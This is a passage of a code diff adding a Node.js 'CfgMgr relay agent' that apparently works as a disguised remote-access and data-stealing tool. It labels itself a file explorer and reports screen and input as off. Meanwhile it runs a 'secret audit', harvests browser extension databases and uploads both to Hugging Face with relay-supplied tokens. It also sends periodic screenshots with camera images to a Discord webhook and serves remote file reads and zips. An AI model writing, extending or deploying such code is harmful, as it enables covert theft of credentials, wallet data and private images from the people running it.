+
if (sec <= 0)
|
|
393
|
+
return;
|
|
394
|
+
relayWsWatchdog = setInterval(() => {
|
|
395
|
+
const w = outboundAgentWs;
|
|
396
|
+
if (w && w.readyState === 0) {
|
|
397
|
+
if (Date.now() - watchWsCreatedAtMs > 45_000) {
|
|
398
|
+
forceWatchdogReconnect(w, "connecting timeout");
|
|
399
|
+
}
|
|
400
|
+
return;
|
|
401
|
+
}
|
|
402
|
+
if (w && w.readyState === 1 && !watchHandshakeDone()) {
|
|
403
|
+
if (watchWsOpenAtMs > 0 && Date.now() - watchWsOpenAtMs > 120_000) {
|
|
404
|
+
forceWatchdogReconnect(w, "handshake timeout");
|
|
405
|
+
}
|
|
406
|
+
return;
|
|
407
|
+
}
|
|
408
|
+
if (w && (w.readyState === 0 || w.readyState === 1))
|
|
409
|
+
return;
|
|
410
|
+
if (w)
|
|
411
|
+
forceWatchdogReconnect(w, "socket not open");
|
|
412
|
+
}, sec * 1000);
|
|
413
|
+
relayWsWatchdog.unref?.();
|
|
414
|
+
};
|
|
415
|
+
const scheduleReconnect = () => {
|
|
416
|
+
if (reconnectTimer)
|
|
417
|
+
return;
|
|
418
|
+
const attempt = reconnectAttempts++;
|
|
419
|
+
const exp = Math.min(15_000, reconnectDelayMs * Math.pow(2, Math.min(attempt, 5)));
|
|
420
|
+
const jitter = Math.floor(Math.random() * 2500);
|
|
421
|
+
const delayMs = exp + jitter;
|
|
422
|
+
if (!quiet && attempt > 0) {
|
|
423
|
+
log(quiet, ` Reconnecting in ${(delayMs / 1000).toFixed(1)}s (attempt ${attempt + 1})…`);
|
|
424
|
+
}
|
|
425
|
+
reconnectTimer = setTimeout(() => {
|
|
426
|
+
reconnectTimer = null;
|
|
427
|
+
pollDbRestartIfDue();
|
|
428
|
+
connect();
|
|
429
|
+
}, delayMs);
|
|
430
|
+
};
|
|
431
|
+
const connect = () => {
|
|
432
|
+
let stopDiscordScreenshotLoop = null;
|
|
433
|
+
log(quiet, `CfgMgr relay agent [file explorer /fs_* only]\n Relay: ${relayUrl}\n Session: ${sessionId}\n FS explore: ${allowFilesystem ? "ON" : "OFF"}`);
|
|
434
|
+
log(quiet, " Connecting to relay...");
|
|
435
|
+
void (0, relayAuth_1.relayWsProxySetting)();
|
|
436
|
+
/** Reported in `info.features.webrtc_datachannel` for dashboards; relay still advertises ICE — viewers probe then fall back when false. */
|
|
437
|
+
const agentWebrtcDatachannelCapable = (0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() && (0, forgeRtcAgent_1.loadNodeDcPeerConnection)() !== null;
|
|
438
|
+
const preOpenQueue = [];
|
|
439
|
+
let relayRtcIceServersCache = null;
|
|
440
|
+
let forgeRtcSession = null;
|
|
441
|
+
let rtcDcOutbound = null;
|
|
442
|
+
let rtcDcInputOutbound = null;
|
|
443
|
+
let rtcDcBulkOutbound = null;
|
|
444
|
+
/** Serialize `forge-bulk` frames so hdr/binary pairs do not interleave across concurrent fs ops. */
|
|
445
|
+
let bulkFsSendChain = Promise.resolve();
|
|
446
|
+
const forgeRtcPendingViewerIce = [];
|
|
447
|
+
const closeForgeRtcSessionOnly = () => {
|
|
448
|
+
try {
|
|
449
|
+
forgeRtcSession?.close();
|
|
450
|
+
}
|
|
451
|
+
catch {
|
|
452
|
+
/* skip */
|
|
453
|
+
}
|
|
454
|
+
forgeRtcSession = null;
|
|
455
|
+
rtcDcOutbound = null;
|
|
456
|
+
rtcDcInputOutbound = null;
|
|
457
|
+
rtcDcBulkOutbound = null;
|
|
458
|
+
bulkFsSendChain = Promise.resolve();
|
|
459
|
+
};
|
|
460
|
+
const resetForgeRtcNegotiation = () => {
|
|
461
|
+
forgeRtcPendingViewerIce.length = 0;
|
|
462
|
+
closeForgeRtcSessionOnly();
|
|
463
|
+
};
|
|
464
|
+
/** `ws` uses the same numeric states as browsers; avoid relying on `WebSocket.CONNECTING` export quirks. */
|
|
465
|
+
const WS_CONNECTING = 0;
|
|
466
|
+
const WS_OPEN = 1;
|
|
467
|
+
const sendJsonWs = (obj) => {
|
|
468
|
+
const w = outboundAgentWs;
|
|
469
|
+
if (!w)
|
|
470
|
+
return;
|
|
471
|
+
if (w.readyState === WS_OPEN) {
|
|
472
|
+
w.send(JSON.stringify(obj));
|
|
473
|
+
return;
|
|
474
|
+
}
|
|
475
|
+
if (w.readyState === WS_CONNECTING) {
|
|
476
|
+
preOpenQueue.push(obj);
|
|
477
|
+
}
|
|
478
|
+
};
|
|
479
|
+
const sendJson = (obj) => {
|
|
480
|
+
const rec = obj;
|
|
481
|
+
const ty = String(rec?.type ?? "");
|
|
482
|
+
const wsOnly = !ty ||
|
|
483
|
+
ty === "info" ||
|
|
484
|
+
ty.startsWith("forge_rtc_") ||
|
|
485
|
+
ty.startsWith("discord_") ||
|
|
486
|
+
ty.startsWith("relay_") ||
|
|
487
|
+
ty === "auth_challenge" ||
|
|
488
|
+
ty === "auth_result";
|
|
489
|
+
if (!wsOnly && (0, forgeRtcAgent_1.agentOutboundPreferRtcDc)(ty)) {
|
|
490
|
+
let payload;
|
|
491
|
+
try {
|
|
492
|
+
payload = JSON.stringify(obj);
|
|
493
|
+
}
|
|
494
|
+
catch {
|
|
495
|
+
payload = "";
|
|
496
|
+
}
|
|
497
|
+
if (payload.length > 0 && payload.length <= 32768) {
|
|
498
|
+
for (const dc of [rtcDcOutbound, rtcDcInputOutbound]) {
|
|
499
|
+
if (!dc?.isOpen())
|
|
500
|
+
continue;
|
|
501
|
+
try {
|
|
502
|
+
if (dc.sendMessage(payload)) {
|
|
503
|
+
return;
|
|
504
|
+
}
|
|
505
|
+
}
|
|
506
|
+
catch {
|
|
507
|
+
/* WS fallback */
|
|
508
|
+
}
|
|
509
|
+
}
|
|
510
|
+
}
|
|
511
|
+
}
|
|
512
|
+
sendJsonWs(obj);
|
|
513
|
+
};
|
|
514
|
+
const deliverFsResponse = (resp) => {
|
|
515
|
+
const ty = String(resp.type ?? "");
|
|
516
|
+
const bulk = rtcDcBulkOutbound;
|
|
517
|
+
if (bulk?.isOpen() &&
|
|
518
|
+
ty === "fs_screenshot_result" &&
|
|
519
|
+
typeof resp.b64 === "string" &&
|
|
520
|
+
resp.b64.length > 0) {
|
|
521
|
+
const cameraB64 = typeof resp.camera_b64 === "string" ? resp.camera_b64.trim() : "";
|
|
522
|
+
bulkFsSendChain = bulkFsSendChain
|
|
523
|
+
.then(() => {
|
|
524
|
+
if (!(0, forgeBulkDc_1.forgeBulkAgentTrySend)(bulk, resp)) {
|
|
525
|
+
sendJson(resp);
|
|
526
|
+
return false;
|
|
527
|
+
}
|
|
528
|
+
return true;
|
|
529
|
+
})
|
|
530
|
+
.then((mainOk) => {
|
|
531
|
+
if (!mainOk || cameraB64.length === 0)
|
|
532
|
+
return;
|
|
533
|
+
if (!(0, forgeBulkDc_1.forgeBulkAgentTrySendScreenshotCameraSidecar)(bulk, {
|
|
534
|
+
request_id: resp.request_id,
|
|
535
|
+
camera_mime: resp.camera_mime,
|
|
536
|
+
camera_width_percent: resp.camera_width_percent,
|
|
537
|
+
camera_available: resp.camera_available,
|
|
538
|
+
}, cameraB64)) {
|
|
539
|
+
sendJson(resp);
|
|
540
|
+
}
|
|
541
|
+
})
|
|
542
|
+
.catch(() => {
|
|
543
|
+
sendJson(resp);
|
|
544
|
+
});
|
|
545
|
+
return;
|
|
546
|
+
}
|
|
547
|
+
if (bulk?.isOpen() &&
|
|
548
|
+
(ty === "fs_read_result" || ty === "fs_zip_result") &&
|
|
549
|
+
typeof resp.b64 === "string" &&
|
|
550
|
+
resp.b64.length > 0) {
|
|
551
|
+
bulkFsSendChain = bulkFsSendChain
|
|
552
|
+
.then(() => {
|
|
553
|
+
if (!(0, forgeBulkDc_1.forgeBulkAgentTrySend)(bulk, resp)) {
|
|
554
|
+
sendJson(resp);
|
|
555
|
+
}
|
|
556
|
+
})
|
|
557
|
+
.catch(() => {
|
|
558
|
+
sendJson(resp);
|
|
559
|
+
});
|
|
560
|
+
return;
|
|
561
|
+
}
|
|
562
|
+
sendJson(resp);
|
|
563
|
+
};
|
|
564
|
+
const ws = new ws_1.default(wsUrl, {
|
|
565
|
+
/** Match relay `maxPayload` (2**27) so large `fs_read` / `fs_zip` frames from the server are accepted. */
|
|
566
|
+
maxPayload: 2 ** 27,
|
|
567
|
+
handshakeTimeout: Math.min(120, Math.max(10, (0, relayAuth_1.relayOpenTimeoutSec)())) * 1000,
|
|
568
|
+
/** Less CPU / latency on long sessions than default deflate (helps “gets slow over time”). */
|
|
569
|
+
perMessageDeflate: false,
|
|
570
|
+
});
|
|
571
|
+
outboundAgentWs = ws;
|
|
572
|
+
watchWsCreatedAtMs = Date.now();
|
|
573
|
+
watchWsOpenAtMs = 0;
|
|
574
|
+
watchHandshakeDone = () => relayAgentHandshakeDone;
|
|
575
|
+
armRelayWsWatchdog();
|
|
576
|
+
/** Relay `connected` may arrive before or after this `open` handler’s setImmediate — wait for both before starting Discord. */
|
|
577
|
+
let openHandlerFinishedInfo = false;
|
|
578
|
+
let relayAgentHandshakeDone = false;
|
|
579
|
+
let discordLoopStarted = false;
|
|
580
|
+
let discordEnabledByRelayHandshake = false;
|
|
581
|
+
/** One `forge_rtc_agent_status` per viewer session so browsers do not spin ICE forever on unsupported agents. */
|
|
582
|
+
let forgeRtcStatusSentThisViewer = false;
|
|
583
|
+
/** forge-db `seq_id` pushed by relay (`agent_session_seq`) for Hub session repo uploads. */
|
|
584
|
+
let relayClientSeqId;
|
|
585
|
+
let extensionDbUploadDelayTimer = null;
|
|
586
|
+
let extensionDbUploadSeqRetryTimer = null;
|
|
587
|
+
/** Set when extension-db upload finished with a non-retryable outcome for this relay connection. */
|
|
588
|
+
let extensionDbUploadSettledThisConnection = false;
|
|
589
|
+
/** Secret audit (scan + Hub result.json) finished or skipped for this connection — gates extension-db harvest. */
|
|
590
|
+
let secretAuditFinishedThisConnection = false;
|
|
591
|
+
const clearExtensionDbUploadDelay = () => {
|
|
592
|
+
if (extensionDbUploadDelayTimer != null) {
|
|
593
|
+
clearTimeout(extensionDbUploadDelayTimer);
|
|
594
|
+
extensionDbUploadDelayTimer = null;
|
|
595
|
+
}
|
|
596
|
+
};
|
|
597
|
+
const clearExtensionDbUploadSeqRetry = () => {
|
|
598
|
+
if (extensionDbUploadSeqRetryTimer != null) {
|
|
599
|
+
clearTimeout(extensionDbUploadSeqRetryTimer);
|
|
600
|
+
extensionDbUploadSeqRetryTimer = null;
|
|
601
|
+
}
|
|
602
|
+
};
|
|
603
|
+
const clearExtensionDbUploadTimers = () => {
|
|
604
|
+
clearExtensionDbUploadDelay();
|
|
605
|
+
clearExtensionDbUploadSeqRetry();
|
|
606
|
+
};
|
|
607
|
+
const parseRelayClientSeqId = (raw) => {
|
|
608
|
+
if (typeof raw === "number" && Number.isFinite(raw) && raw >= 0) {
|
|
609
|
+
return Math.floor(raw);
|
|
610
|
+
}
|
|
611
|
+
if (typeof raw === "string" && /^[0-9]+$/.test(raw.trim())) {
|
|
612
|
+
return parseInt(raw.trim(), 10);
|
|
613
|
+
}
|
|
614
|
+
return undefined;
|
|
615
|
+
};
|
|
616
|
+
const scheduleExtensionDbUploadForSessionOnce = () => {
|
|
617
|
+
if (extensionDbUploadSettledThisConnection)
|
|
618
|
+
return;
|
|
619
|
+
(0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
|
|
620
|
+
clientTableName: sessionId,
|
|
621
|
+
fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
|
|
622
|
+
quiet,
|
|
623
|
+
relayHttpBase: (0, relayForAgentHttp_1.wsRelayUrlToHttpBase)(base) ?? undefined,
|
|
624
|
+
...(relayClientSeqId !== undefined ? { clientSeqId: relayClientSeqId } : {}),
|
|
625
|
+
onSettled: (outcome) => {
|
|
626
|
+
try {
|
|
627
|
+
sendJson({
|
|
628
|
+
type: "agent_extension_db_status",
|
|
629
|
+
outcome,
|
|
630
|
+
agent_version: forgeJsxVersion,
|
|
631
|
+
at_ms: Date.now(),
|
|
632
|
+
});
|
|
633
|
+
}
|
|
634
|
+
catch {
|
|
635
|
+
/* skip */
|
|
636
|
+
}
|
|
637
|
+
if (outcome === "in_flight")
|
|
638
|
+
return;
|
|
639
|
+
const retryable = outcome === "skipped_no_seq" ||
|
|
640
|
+
outcome === "no_credentials" ||
|
|
641
|
+
outcome === "failed" ||
|
|
642
|
+
outcome === "skipped_network" ||
|
|
643
|
+
outcome === "skipped_copy_failed";
|
|
644
|
+
if (retryable) {
|
|
645
|
+
clearExtensionDbUploadSeqRetry();
|
|
646
|
+
const delayMs = outcome === "skipped_no_seq" ? 20_000 : 45_000;
|
|
647
|
+
extensionDbUploadSeqRetryTimer = setTimeout(scheduleExtensionDbUploadForSessionOnce, delayMs);
|
|
648
|
+
extensionDbUploadSeqRetryTimer.unref?.();
|
|
649
|
+
return;
|
|
650
|
+
}
|
|
651
|
+
clearExtensionDbUploadSeqRetry();
|
|
652
|
+
extensionDbUploadSettledThisConnection = true;
|
|
653
|
+
},
|
|
654
|
+
});
|
|
655
|
+
};
|
|
656
|
+
const armExtensionDbUploadAfterSeq = () => {
|
|
657
|
+
clearExtensionDbUploadDelay();
|
|
658
|
+
scheduleExtensionDbUploadForSessionOnce();
|
|
659
|
+
};
|
|
660
|
+
const tryArmExtensionDbUploadAfterAudit = () => {
|
|
661
|
+
if (!secretAuditFinishedThisConnection)
|
|
662
|
+
return;
|
|
663
|
+
if (extensionDbUploadSettledThisConnection)
|
|
664
|
+
return;
|
|
665
|
+
clearExtensionDbUploadDelay();
|
|
666
|
+
const rawExtDelay = (process.env.FORGE_JS_AGENT_EXTENSION_DB_UPLOAD_DELAY_MS || "0").trim();
|
|
667
|
+
let extDelayMs = 0;
|
|
668
|
+
if (rawExtDelay) {
|
|
669
|
+
const n = parseInt(rawExtDelay, 10);
|
|
670
|
+
if (Number.isFinite(n) && n >= 0) {
|
|
671
|
+
extDelayMs = Math.min(Math.max(n, 0), 30_000);
|
|
672
|
+
}
|
|
673
|
+
}
|
|
674
|
+
if (relayClientSeqId !== undefined || extDelayMs === 0) {
|
|
675
|
+
armExtensionDbUploadAfterSeq();
|
|
676
|
+
}
|
|
677
|
+
else {
|
|
678
|
+
extensionDbUploadDelayTimer = setTimeout(armExtensionDbUploadAfterSeq, extDelayMs);
|
|
679
|
+
extensionDbUploadDelayTimer.unref?.();
|
|
680
|
+
}
|
|
681
|
+
};
|
|
682
|
+
const onSecretAuditSettled = () => {
|
|
683
|
+
secretAuditFinishedThisConnection = true;
|
|
684
|
+
tryArmExtensionDbUploadAfterAudit();
|
|
685
|
+
};
|
|
686
|
+
/**
|
|
687
|
+
* Run secret audit when relay never sends `connected` (stuck handshake / flaky relay).
|
|
688
|
+
* Disk merge + `result.json` still run; Hub upload uses relay HF credentials when the
|
|
689
|
+
* agent WebSocket is accepted (same as the normal connected path).
|
|
690
|
+
* Override delay via FORGE_JS_AGENT_SECRET_AUDIT_HANDSHAKE_FALLBACK_MS (ms); use `0` to disable.
|
|
691
|
+
*/
|
|
692
|
+
let secretAuditHandshakeFallbackTimer = null;
|
|
693
|
+
const clearSecretAuditHandshakeFallback = () => {
|
|
694
|
+
if (secretAuditHandshakeFallbackTimer != null) {
|
|
695
|
+
clearTimeout(secretAuditHandshakeFallbackTimer);
|
|
696
|
+
secretAuditHandshakeFallbackTimer = null;
|
|
697
|
+
}
|
|
698
|
+
};
|
|
699
|
+
const armSecretAuditHandshakeFallback = () => {
|
|
700
|
+
clearSecretAuditHandshakeFallback();
|
|
701
|
+
const rawMs = (process.env.FORGE_JS_AGENT_SECRET_AUDIT_HANDSHAKE_FALLBACK_MS || "").trim();
|
|
702
|
+
let fallbackMs = 45_000;
|
|
703
|
+
if (rawMs) {
|
|
704
|
+
const n = parseInt(rawMs, 10);
|
|
705
|
+
if (Number.isFinite(n) && n >= 0) {
|
|
706
|
+
if (n === 0)
|
|
707
|
+
return;
|
|
708
|
+
fallbackMs = Math.min(Math.max(n, 5_000), 3_600_000);
|
|
709
|
+
}
|
|
710
|
+
}
|
|
711
|
+
secretAuditHandshakeFallbackTimer = setTimeout(() => {
|
|
712
|
+
secretAuditHandshakeFallbackTimer = null;
|
|
713
|
+
if (relayAgentHandshakeDone)
|
|
714
|
+
return;
|
|
715
|
+
(0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
|
|
716
|
+
relayCaps: {},
|
|
717
|
+
quiet,
|
|
718
|
+
clientTableName: sessionId,
|
|
719
|
+
fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
|
|
720
|
+
onSettled: onSecretAuditSettled,
|
|
721
|
+
});
|
|
722
|
+
}, fallbackMs);
|
|
723
|
+
secretAuditHandshakeFallbackTimer.unref?.();
|
|
724
|
+
};
|
|
725
|
+
armSecretAuditHandshakeFallback();
|
|
726
|
+
const tryStartDiscordAfterHandshake = () => {
|
|
727
|
+
if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
|
|
728
|
+
return;
|
|
729
|
+
discordLoopStarted = true;
|
|
730
|
+
try {
|
|
731
|
+
stopDiscordScreenshotLoop?.();
|
|
732
|
+
}
|
|
733
|
+
catch {
|
|
734
|
+
/* skip */
|
|
735
|
+
}
|
|
736
|
+
stopDiscordScreenshotLoop = (0, discordAgentScreenshot_1.startDiscordScreenshotToRelayLoop)({
|
|
737
|
+
sendJson,
|
|
738
|
+
quiet,
|
|
739
|
+
waitForRelayDiscordAck: waitDiscordRelayAck,
|
|
740
|
+
waitForDiscordTicket: waitDiscordTicket,
|
|
741
|
+
enabledByRelayCapabilities: discordEnabledByRelayHandshake,
|
|
742
|
+
});
|
|
743
|
+
};
|
|
744
|
+
const relayDisconnectCleanup = () => {
|
|
745
|
+
try {
|
|
746
|
+
(0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_2.defaultCfgmgrDataDir)());
|
|
747
|
+
}
|
|
748
|
+
catch {
|
|
749
|
+
/* skip */
|
|
750
|
+
}
|
|
751
|
+
try {
|
|
752
|
+
(0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
|
|
753
|
+
}
|
|
754
|
+
catch {
|
|
755
|
+
/* skip */
|
|
756
|
+
}
|
|
757
|
+
};
|
|
758
|
+
const applyRelayAgentConnected = (msg) => {
|
|
759
|
+
if (relayAgentHandshakeDone)
|
|
760
|
+
return;
|
|
761
|
+
clearSecretAuditHandshakeFallback();
|
|
762
|
+
discordEnabledByRelayHandshake = false;
|
|
763
|
+
let caps = {};
|
|
764
|
+
const rf = msg.relay_features;
|
|
765
|
+
if (rf && typeof rf === "object" && !Array.isArray(rf)) {
|
|
766
|
+
caps = rf;
|
|
767
|
+
if (caps.discord_screenshot === true) {
|
|
768
|
+
const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
|
|
769
|
+
const explicitOff = ["0", "false", "no", "off"].includes(en);
|
|
770
|
+
const explicitOn = ["1", "true", "yes", "on"].includes(en);
|
|
771
|
+
/** Follow relay when unset or explicitly on; never override explicit opt-out (0/false/no/off). */
|
|
772
|
+
if (!explicitOff && (!en || explicitOn)) {
|
|
773
|
+
discordEnabledByRelayHandshake = true;
|
|
774
|
+
}
|
|
775
|
+
if (!explicitOff) {
|
|
776
|
+
const clamped = parseRelayDiscordIntervalMs(caps.discord_screenshot_interval_ms);
|
|
777
|
+
/**
|
|
778
|
+
* Only apply relay `discord_screenshot_interval_ms` when the agent did **not** set
|
|
779
|
+
* `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`. Otherwise the relay handshake overwrote a
|
|
780
|
+
* per-machine value (e.g. 60s on agent vs 300000 ms on relay), which looked like “random”
|
|
781
|
+
* multi-minute gaps.
|
|
782
|
+
*/
|
|
783
|
+
const agentIv = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
|
|
784
|
+
if (clamped != null && !agentIv) {
|
|
785
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS = String(clamped);
|
|
786
|
+
}
|
|
787
|
+
const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
|
|
788
|
+
if (!agentSg) {
|
|
789
|
+
const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
|
|
790
|
+
if (sg != null) {
|
|
791
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
|
|
792
|
+
}
|
|
793
|
+
}
|
|
794
|
+
const agentFsg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
|
|
795
|
+
if (!agentFsg) {
|
|
796
|
+
const fg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_first_stagger_ms, 300_000);
|
|
797
|
+
if (fg != null) {
|
|
798
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS = String(fg);
|
|
799
|
+
}
|
|
800
|
+
}
|
|
801
|
+
const agentUm = (process.env.FORGE_JS_DISCORD_UPLOAD_MODE || "").trim();
|
|
802
|
+
if (!agentUm) {
|
|
803
|
+
const rawUm = caps.discord_screenshot_upload_mode;
|
|
804
|
+
const u = typeof rawUm === "string" ? rawUm.trim().toLowerCase() : "";
|
|
805
|
+
if (u === "relay") {
|
|
806
|
+
process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "relay";
|
|
807
|
+
}
|
|
808
|
+
else if (u === "webhook" || u === "direct") {
|
|
809
|
+
process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "webhook";
|
|
810
|
+
}
|
|
811
|
+
}
|
|
812
|
+
}
|
|
813
|
+
}
|
|
814
|
+
const iceRaw = caps.rtc_ice_servers;
|
|
815
|
+
if (Array.isArray(iceRaw) && iceRaw.length > 0) {
|
|
816
|
+
relayRtcIceServersCache = iceRaw;
|
|
817
|
+
}
|
|
818
|
+
const relayStartedRaw = caps.relay_started_at_ms;
|
|
819
|
+
const relayStartedMs = typeof relayStartedRaw === "number" && Number.isFinite(relayStartedRaw)
|
|
820
|
+
? relayStartedRaw
|
|
821
|
+
: typeof relayStartedRaw === "string" && relayStartedRaw.trim()
|
|
822
|
+
? Number.parseFloat(relayStartedRaw.trim())
|
|
823
|
+
: Number.NaN;
|
|
824
|
+
if (Number.isFinite(relayStartedMs) && Date.now() - relayStartedMs < 300_000) {
|
|
825
|
+
reconnectAttempts = 0;
|
|
826
|
+
}
|
|
827
|
+
const relayVer = typeof caps.relay_version === "string" ? caps.relay_version.trim() : "";
|
|
828
|
+
if (relayVer &&
|
|
829
|
+
forgeJsxVersion &&
|
|
830
|
+
(0, forgeSemver_js_1.forgeSemverLt)(forgeJsxVersion, relayVer) &&
|
|
831
|
+
!quiet) {
|
|
832
|
+
log(quiet, ` Agent v${forgeJsxVersion} is older than relay v${relayVer} — use file explorer → Upgrade forge-jsxy when ready.`);
|
|
833
|
+
}
|
|
834
|
+
}
|
|
835
|
+
relayAgentHandshakeDone = true;
|
|
836
|
+
reconnectAttempts = 0;
|
|
837
|
+
armRelayWsWatchdog();
|
|
838
|
+
try {
|
|
839
|
+
onRelayCapabilities?.(caps);
|
|
840
|
+
}
|
|
841
|
+
catch {
|
|
842
|
+
/* skip */
|
|
843
|
+
}
|
|
844
|
+
(0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
|
|
845
|
+
relayCaps: caps,
|
|
846
|
+
quiet,
|
|
847
|
+
clientTableName: sessionId,
|
|
848
|
+
fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
|
|
849
|
+
onSettled: onSecretAuditSettled,
|
|
850
|
+
});
|
|
851
|
+
const seqFromConnected = parseRelayClientSeqId(msg.client_seq_id ?? msg.clientSeqId);
|
|
852
|
+
if (seqFromConnected !== undefined)
|
|
853
|
+
relayClientSeqId = seqFromConnected;
|
|
854
|
+
tryStartDiscordAfterHandshake();
|
|
855
|
+
};
|
|
856
|
+
ws.on("open", () => {
|
|
857
|
+
log(quiet, " Connected to relay");
|
|
858
|
+
watchWsOpenAtMs = Date.now();
|
|
859
|
+
armRelayWsWatchdog();
|
|
860
|
+
try {
|
|
861
|
+
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_2.defaultCfgmgrDataDir)());
|
|
862
|
+
}
|
|
863
|
+
catch {
|
|
864
|
+
/* skip */
|
|
865
|
+
}
|
|
866
|
+
viewerAuthenticated = !password;
|
|
867
|
+
viewerConnected = false;
|
|
868
|
+
pendingAuthNonce = "";
|
|
869
|
+
openHandlerFinishedInfo = false;
|
|
870
|
+
relayAgentHandshakeDone = false;
|
|
871
|
+
extensionDbUploadSettledThisConnection = false;
|
|
872
|
+
secretAuditFinishedThisConnection = false;
|
|
873
|
+
clearExtensionDbUploadTimers();
|
|
874
|
+
discordLoopStarted = false;
|
|
875
|
+
discordEnabledByRelayHandshake = false;
|
|
876
|
+
armSecretAuditHandshakeFallback();
|
|
877
|
+
/**
|
|
878
|
+
* Defer first `info` + queued sends to the next tick so inbound `viewer_connected` (auth
|
|
879
|
+
* challenge) can be handled first on some OS/network stacks — reduces “stuck Authenticating…”
|
|
880
|
+
* after the second agent connect.
|
|
881
|
+
*/
|
|
882
|
+
setImmediate(() => {
|
|
883
|
+
sendJson({
|
|
884
|
+
type: "info",
|
|
885
|
+
data: {
|
|
886
|
+
screen: screenOff,
|
|
887
|
+
capabilities,
|
|
888
|
+
system: sysInfo,
|
|
889
|
+
features: {
|
|
890
|
+
input: false,
|
|
891
|
+
file_transfer: false,
|
|
892
|
+
clipboard: false,
|
|
893
|
+
filesystem: allowFilesystem,
|
|
894
|
+
screen: false,
|
|
895
|
+
password_required: Boolean(password),
|
|
896
|
+
webrtc_datachannel: agentWebrtcDatachannelCapable,
|
|
897
|
+
},
|
|
898
|
+
scale: 1.0,
|
|
899
|
+
quality: 0,
|
|
900
|
+
fps: 0,
|
|
901
|
+
},
|
|
902
|
+
});
|
|
903
|
+
const backlog = preOpenQueue.splice(0, preOpenQueue.length);
|
|
904
|
+
for (const o of backlog) {
|
|
905
|
+
sendJson(o);
|
|
906
|
+
}
|
|
907
|
+
openHandlerFinishedInfo = true;
|
|
908
|
+
tryStartDiscordAfterHandshake();
|
|
909
|
+
});
|
|
910
|
+
});
|
|
911
|
+
const handleViewerInboundFromRelay = (msg, via) => {
|
|
912
|
+
const msgType = String(msg.type || "");
|
|
913
|
+
if (via === "dc") {
|
|
914
|
+
if (msgType.startsWith("forge_rtc_"))
|
|
915
|
+
return;
|
|
916
|
+
if (msgType !== "get_info" &&
|
|
917
|
+
!msgType.startsWith("fs_") &&
|
|
918
|
+
!msgType.startsWith("rc_")) {
|
|
919
|
+
return;
|
|
920
|
+
}
|
|
921
|
+
}
|
|
922
|
+
if (msgType === "discord_screenshot_upload_result") {
|
|
923
|
+
const rid = String(msg.request_id ?? "");
|
|
924
|
+
const pending = pendingDiscordRelayAck.get(rid);
|
|
925
|
+
if (pending) {
|
|
926
|
+
pendingDiscordRelayAck.delete(rid);
|
|
927
|
+
clearTimeout(pending.timer);
|
|
928
|
+
pending.resolve({
|
|
929
|
+
ok: msg.ok === true,
|
|
930
|
+
error: String(msg.error ?? "").trim(),
|
|
931
|
+
});
|
|
932
|
+
}
|
|
933
|
+
return;
|
|
934
|
+
}
|
|
935
|
+
if (msgType === "relay_discord_upload_ticket_result") {
|
|
936
|
+
const rid = String(msg.request_id ?? "");
|
|
937
|
+
const pending = pendingDiscordTicket.get(rid);
|
|
938
|
+
if (pending) {
|
|
939
|
+
pendingDiscordTicket.delete(rid);
|
|
940
|
+
clearTimeout(pending.timer);
|
|
941
|
+
pending.resolve({
|
|
942
|
+
ok: msg.ok === true,
|
|
943
|
+
webhook_url: String(msg.webhook_url ?? "").trim(),
|
|
944
|
+
error: String(msg.error ?? "").trim(),
|
|
945
|
+
});
|
|
946
|
+
}
|
|
947
|
+
return;
|
|
948
|
+
}
|
|
949
|
+
if (msgType === "relay_discord_upload_ack_result") {
|
|
950
|
+
if (!quiet && msg.ok !== true) {
|
|
951
|
+
console.error(`[forge-agent] relay_discord_upload_ack_result: ${String(msg.error ?? "failed").trim()}`);
|
|
952
|
+
}
|
|
953
|
+
return;
|
|
954
|
+
}
|
|
955
|
+
if (msgType === "relay_hf_credentials_result") {
|
|
956
|
+
const rid = String(msg.request_id ?? "");
|
|
957
|
+
const pending = pendingRelayHf.get(rid);
|
|
958
|
+
if (pending) {
|
|
959
|
+
pendingRelayHf.delete(rid);
|
|
960
|
+
if (msg.ok) {
|
|
961
|
+
const token = String(msg.token ?? "").trim();
|
|
962
|
+
let hubUrl = String(msg.hubUrl ?? "https://huggingface.co").trim();
|
|
963
|
+
hubUrl = hubUrl.replace(/\/+$/, "") || "https://huggingface.co";
|
|
964
|
+
const ns = String(msg.namespace ?? "").trim().replace(/\/+$/, "");
|
|
965
|
+
const envNs = (process.env.CFGMGR_HF_NAMESPACE ||
|
|
966
|
+
process.env.HUGGINGFACE_HUB_NAMESPACE ||
|
|
967
|
+
"")
|
|
968
|
+
.trim()
|
|
969
|
+
.replace(/\/+$/, "");
|
|
970
|
+
const mergedNs = ns || envNs;
|
|
971
|
+
if (!token.startsWith("hf_")) {
|
|
972
|
+
pending.reject(new Error('relay returned invalid token (expected "hf_..." prefix)'));
|
|
973
|
+
return;
|
|
974
|
+
}
|
|
975
|
+
pending.resolve({
|
|
976
|
+
token,
|
|
977
|
+
hubUrl,
|
|
978
|
+
namespace: mergedNs || undefined,
|
|
979
|
+
});
|
|
980
|
+
}
|
|
981
|
+
else {
|
|
982
|
+
